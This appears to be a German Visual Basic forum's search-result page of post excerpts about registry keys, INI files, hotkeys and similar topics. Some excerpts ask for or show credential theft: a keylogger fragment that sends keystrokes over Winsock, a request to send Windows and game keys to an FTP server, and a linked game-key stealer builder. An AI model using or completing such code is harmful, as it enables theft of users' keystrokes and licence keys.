Visual Basic Forum

Verfasst am: 05.12.2011, 09:30 Aufrufe: 181

Verfasst am: 05.12.2011, 07:39 Aufrufe: 221

hi code zwar nur vb6 aber versuch doch mal statt key.pressen key.down oder so so ist es in vb6 lg

Verfasst am: 02.11.2011, 20:59 Aufrufe: 2971

Verfasst am: 02.10.2011, 18:52 Aufrufe: 229

Dies ist mein 2 Verarsch Programm. Bild: Beschreibung: Dieses Tool täuscht vor, ein key oder Lottozahl Generator zu sein. Sobald der jenige, der verarscht werden soll, auf eins der beiden sachen klickt, erscheint ein Video namens Rick Roll'd (kennt eigl. jeder). Download: http://www.mediafire.com/?6cxanlbe4fj5cmd Viel SPass Very Happy

Verfasst am: 18.03.2011, 22:01 Aufrufe: 292

Jetzt kommt aber das Problem. Um anschließend nicht eine leere Zeile in der Tabelle zu haben, möchte ich ein Range, das alle Daten umfasst, nach Spalte B sortieren. Dabei kommt die leere Zeile dann ohnehin ans Ende und stört nicht mehr. Mit der Sort-Funktion habe ich meine Probleme! Der Key soll vorgeben, nach welcher Spalte sortiert wird. Das ist bei mir B. Mein Aufruf sieht damit so aus: (With .Worksheet) ...

Verfasst am: 07.01.2011, 17:44 Aufrufe: 326

hi cyberpsycho der name ist doch lächerlich und kann ja nur von einem 14 jährigen skriptkiddy kommen der nur mäßig - schlechte password und key stealer schreibt punkt 1 denkst du die leute hier sind blind und haben keine ahnung von vb... d.h. das einringeln hättest und unterschreichen der fehlermeldung kannst dir sparen... punkt 2 denkst du irgendjemanden interessiert sich dafür was für fenster du offen ...

Verfasst am: 30.12.2010, 18:56 Aufrufe: 1108

Changelog: Added: - Deleting the next character if the delete key was pressed - 'Save Selection As' (in the 'File' menu) - Macro commands from the 'File' and 'View' menu - Drag & Drop between the textbox and the HTML debug webbrowser - Program icon (in the About-dialog) - Recency state (in the About-dialog) - 'Update'-button in the About-dialog (if a newer version is available) ...

Verfasst am: 25.08.2010, 14:05 Aufrufe: 949

ReadAll Exit Function End If 'ReadCommandOutput = -1 End Function '*** Get values of an INI-File *** Function GetINIString(Section, KeyName, Default, IniFileName) Dim INIContents, PosSection, PosEndSection, sContents, Value, Found 'Get contents of the INI file As a string INIContents = GetFile(IniFileName) 'Find section PosSection = InStr(1, INIContents, "[" & ...

Verfasst am: 04.05.2010, 11:28 Aufrufe: 966

Wenn die Primary Keys (in deinem Fall vermutlich Kundennummer) gleich sind, dann dürften sie so garnicht in der Datenbank stehen. --> Definition: Primary Key

Verfasst am: 19.03.2010, 18:45 Aufrufe: 966

Ich habe ein großes Problem mit einer Abfrage einer Datenbank. Ich bringe mir gerade ein wenig VB bei und stoße nach Tageslangen Erfolgen auf ein schier unlösbares Problem. In meiner Datenbank gitb es eine Tabelle Kunde. Die hat einen Primary Key und der lässt sich nicht vergleichen. Ich bekomme immer die Meldung das die Datentypen nicht kompatibel sind. Im Acces habe ich die DB erstellt und einen AutoWert an ...

Verfasst am: 28.01.2010, 12:38 Aufrufe: 2050

YYYY'" If Err Then Work6.Caption = "Fehler Befehlsausführung [" & Err.Number & "]" InitError = InitError + 1: Err.Clear Else Work6.Caption = "Datumsformat geändert" End If If CheckError Then Exit Sub 'Öffnen Recordset Schlüssel KEY ProgressBar.Value = 7: Err.Clear Label7.Caption = "Öffnen Stammdaten Schlüssel": Work7 ...

Verfasst am: 23.11.2009, 17:33 Aufrufe: 660

Verfasst am: 29.06.2009, 13:22 Aufrufe: 1238

Beschreibung:Diese Klasse überwacht veränderungen in der Registry entweder an einem Key oder an einem Wert.Wenn man einen Key überwacht wird das Event immer dann ausgelöst wenn irgendetwas an diesem Key geändert wird wie z.B. es wird unter diesem Key ein neuer Key angelegt oder es wird ein Wert geändert.Wenn man einen Wert überwacht wird das Event immer nur dann ausgelöst wenn auch genau dieser Wert verändert wird.Fu ...

Verfasst am: 29.06.2009, 13:13 Aufrufe: 1235

Beschreibung:Mit der Funktion kann man den Windows XP Key ändern.Funktioniert aber erst ab SP1Funktion:Visual Basic: Quelle: dotnet-snippets.de

Verfasst am: 29.06.2009, 13:11 Aufrufe: 1935

Beschreibung:Mit dieser Klasse kann man sehr leicht eine globale Hotkey funktionalität in seinem Programm einbinden.Man muss nur diese Klasse mit WithEvents deklarieren und ihr eine Form zuweisen die gesubclassed werden soll.Dann muss man nur noch ein paar eigene HotKey-Kombinationen registrieren (z.B. Strg+Alt+X) und diesemit dem Event abfragen bzw, abfangen. Dazu muss man eine eigene HotKeyID angeben um einen besti ...

Verfasst am: 29.06.2009, 04:25 Aufrufe: 1409

Hier eine Funktion zum Verschlüsseln eines Strings mit RC4bzw. zum entschlüsseln eines mit RC4 verschlüsselten Strings.RC4 ist ein stringorientierter Algorithmus, der auf dem XOr Operator aufbaut.Ihr müsst der Funktion als ersten Parameter den zu ver-/entschlüsselnden Stringund als zweiten Parameter einen En-/Decryption Key übergeben.Im Gegensatz zu anderen Verschlüsselungsalgorithmen, wie z.B. Base,kann man den Stri ...

Verfasst am: 18.06.2009, 15:21 Aufrufe: 866

Verfasst am: 18.06.2009, 12:00 Aufrufe: 829

... kann- Ich find, man kann besser AbfragenKontra- Längerer Code ( auch nicht so wirklich )- Falls man für das Schreiben in der Reg keine Rechte hat geht das natürlich nichtAlso fangen wir mal anAls erstes brauchen wir ein ModulDen könnt ihr so Kopieren, braucht ihr nicht zu verstehenHab ich auch gemacht( Die die solche codes lernen sind dann auch nur Freaks )'wird in der Form benötigt: Public SubKey ...

Verfasst am: 15.06.2009, 17:00 Aufrufe: 1011

... ger, ByRef lpdwProcessId As Integer) As Integer Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Integer, ByVal dwProcessId As Integer) As Integer Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Integer) As Integer Declare Function GetAsyncKey ...

Verfasst am: 15.06.2009, 11:51 Aufrufe: 3118

Jetzt geht ihr in Abbildungen, und klickt auf "Bild einfügen..." und wählt das icon wo ihr in der ListView wollt, wenn dieses drin ist klickt auf OK und schreibt bei "Key" eine bezeichnung für den icon rein: (Später zeige ich euch wie ihr mehrere Icons bestimmten stellen zuteilen könnt)6. So jetzt geht ihr in Form_Load: und verweist die ImageList als SmallIcons in der ListView, das geht so: ListView1.SmallIcons ...

Verfasst am: 08.06.2009, 17:17 Aufrufe: 370

Verfasst am: 30.05.2009, 17:51 Aufrufe: 964

hi bin neu hir sieht man an meinen Posts, aber bräuchte mal hilfe und zwar suche ich nen snippet zu nem start menu hide. Fand bisher nur keyhooks und wollte wissen ob es per Registry oder einem Befehl möglich ist das Start Menü zu Hiden oder abzuschalten. Grund: Schreibe an einem Sicherheitsprogramm wo bei mehrfacher Passwortfalscheingabe sich einige Funktionen abschalten. Danke schonmal im vorraus. <K ...

Verfasst am: 22.04.2009, 10:33 Aufrufe: 330

Hallo,ich habe ein Builder für ein COD4 key stealer code ist von clx er funtz einfach net erstellt kein server und lädt nix hoch .Pls das Projekt anschauen und sagen was ich ändern muss das es funtz http://myvb6.extra.hu/cod4.rar Pls help

Verfasst am: 09.04.2009, 17:15 Aufrufe: 3410

Verfasst am: 08.04.2009, 14:44 Aufrufe: 545

... ss As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As Long Public Declare Function GetKey ...

Verfasst am: 23.03.2009, 18:53 Aufrufe: 727

writeline(IniRead("System", "Version", "NIX")) End Sub Function IniRead(ByVal Section As String, ByVal Key As String, _ Optional ByVal Default1 As String = "", Optional ByVal IniFile As String = "") As String Dim sb As New String(Chr(32), 255) Dim n As Integer n = GetPrivate ...

Verfasst am: 19.03.2009, 11:29 Aufrufe: 469

Indem du deinen Code ins Form_Load event packst? Solltest du immernoch nichts dazu gelernt haben (zu der Geschichte von damals mit dem COD4 Key), dann lass es am besten sein und spiel Tetris oder so. lg ZiuX

Verfasst am: 19.03.2009, 07:58 Aufrufe: 469

Hallo,wie kann ich es machen sobald man die exe ausgeführt hat das die den windows key und cod4 key und vlllt auch andere an einen ftp sendet und es dort immer in einer txt datei speichert ?? Verwarnung wegen Crossposting. http://www.vb-x.org/viewtopic.php?t=2021 Boardregeln lesen!

Verfasst am: 09.03.2009, 17:25 Aufrufe: 793

das geht auch in VB6 so. ein imagelist mit den icons füllen und beim adden ins listview die ID des icons angeben: list.listitems.add 0, key, text, id_des_icons die imagelist muss an das listview gebunden sein. listview->eigenschaften->abbildungslisten du kannst auch icons für die subitems verwenden: http://www.activevb.de/tipps/vb6tipps/tipp0385.html edit: lol ich seh grad du meinst das tabcontro ...

Verfasst am: 13.02.2009, 13:16 Aufrufe: 3277

Ich denke nicht das jemand des gebrauchen kann... Aber ich denke das ein newbie den code gebrauchen kann, um zu sehen wie man ein Key aus der Registry liest und diesen Ändert. Dabei ist noch ein "Profil Saver", der mein Cod4 profil speichert, weil man nicht mit einem anderen Key mit dem gleichen Profil spielen kann. Die stats werden zurück gesetzt. Das wird verhindert Razz

(kann buggy sein ^^, funzt a ...

Verfasst am: 06.02.2009, 17:47 Aufrufe: 1944

... man kann besser Abfragen Kontra - Längerer Code ( auch nicht so wirklich ) - Falls man für das Schreiben in der Reg keine Rechte hat geht das natürlich nicht Also fangen wir mal an Als erstes brauchen wir ein Modul Den könnt ihr so Kopieren, braucht ihr nicht zu verstehen Hab ich auch gemacht ( Die die solche codes lernen sind dann auch nur Freaks ) 'wird in der Form benötigt: Public SubKey ...

Verfasst am: 02.02.2009, 07:54 Aufrufe: 3653

Der Key sollte beim freischalten auf 0 stehen Smile

Verfasst am: 16.12.2008, 15:40 Aufrufe: 1332

Hier mein Source Public Sub SaveINISetting(ByVal Filename As String, ByVal Key As String, ByVal Setting As String, ByVal Value As Object) WritePrivateProfileString(Key, Setting, Value, Filename) End Sub Public Function GetINISetting(ByVal Filename As String, ByVal Key As String, ByVal Setting As String, ByVal standart As Object) As Object Dim Temp As String GetPrivateProf ...

Verfasst am: 20.11.2008, 14:50 Aufrufe: 679

also ich hab hier ein problem mit der ini datei wie das geht versteh ich ja aber der will den code hier nicht annehmen 'API-Funktionen deklarieren Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationname As String, ByVal lpKeyName As Any, ByVal lsString As Any, ByVal lplFilename As String) As Long Private Declare Functi ...

Verfasst am: 14.11.2008, 13:54 Aufrufe: 743

Nun gut da ich mir das Zeug nun versucht habe zam zu schreiben kam als Keylogger das raus. Im Server: Private Sub Timer1_Timer() If Keypressed = GetAsyncKeyState(i) Then Dim key As String key = GetAsyncKeyState(i) Winsock.SendData key End If End Sub Timer wird richtig aktiviert... Im Client: Private Sub Timer4_Timer() Dim keys As String Winsock.GetData keys txt_keylog.Text = txt_keylog.Text & ke ...

Verfasst am: 24.09.2008, 06:23 Aufrufe: 1443

As far as I know, there's no registry key or setting anywhere in WindowsÂ® that says specifically what the browser is. But then, the full mysteries of the registry are deeper than any individual can probe, even supposed experts. For all I know, there could be a key somewhere, HKCUSystemMumbleBletchBlahGakDefaultBrowser. If you know of such a key, please write in. In the meantime, the quickest way I know to solve your ...

Verfasst am: 11.09.2008, 20:56 Aufrufe: 666

Wie kann ich die Proxy einstellungen des webbrowser controlls über VB6 ändern? Glaub das ged per reg key oder? Welcher bzw welche sind das?

Verfasst am: 10.09.2008, 19:43 Aufrufe: 2220

Verfasst am: 02.09.2008, 14:58 Aufrufe: 1118

Verfasst am: 29.08.2008, 14:36 Aufrufe: 1108

ich meinte es so mit dem produkt key machineguide und io es zu entschlüsseln #define WIN32_LEAN_AND_MEAN #include #include #include #include "aesphm.h" using namespace CryptoPP; // WARNING: EXTREMELY SENSITIVE INFORMATION! #define ACCOUNT_PHRASE_SIZE (XXX + 8 + 20) static byte accountphrase so nur halt für vb6

Verfasst am: 19.08.2008, 18:20 Aufrufe: 510

Verfasst am: 18.08.2008, 14:16 Aufrufe: 1008

Verfasst am: 09.08.2008, 19:15 Aufrufe: 436

Verfasst am: 08.08.2008, 13:40 Aufrufe: 1371

Ich möchte gerne einen Wert aus der Registry auslesen.Wie stelle ich das an ?Ich möchte nämlich einen Keychanger für COD 4 coden.Der Key befindet sich hier : HKEY_LOCAL_MACHINESOFTWAREActivisionCall of Duty 4codkey

Verfasst am: 06.08.2008, 15:24 Aufrufe: 1100

Ok, habs mir mal angeguckt. Das ganze per POST manuell senden ist zwar möglich, leider braucht man da ein Haufen Daten, die mitgesendet werden müssen.Da würde ich mir lieber die API von Imageshack angucken und benutzen.Am besten forderst du dir erst mal einen API Key hier an http://reg.imageshack.us/content.php?page=developerUnd schaust dir die Verwendung an.

Verfasst am: 06.08.2008, 12:27 Aufrufe: 1592

Also ich würde gerne wissen wie man einen Ordner aus der registry ExportiertHKEY_CURRENT_USER/Software/.../Das wars eig schon Smile

P.S Also nich i wie den Key auslesen sondern einfach z.B auf dem Desktop speichern

Verfasst am: 28.07.2008, 09:40 Aufrufe: 2418

Verfasst am: 28.07.2008, 09:03 Aufrufe: 2418

Verfasst am: 27.07.2008, 21:05 Aufrufe: 2418

Verfasst am: 26.07.2008, 17:43 Aufrufe: 1592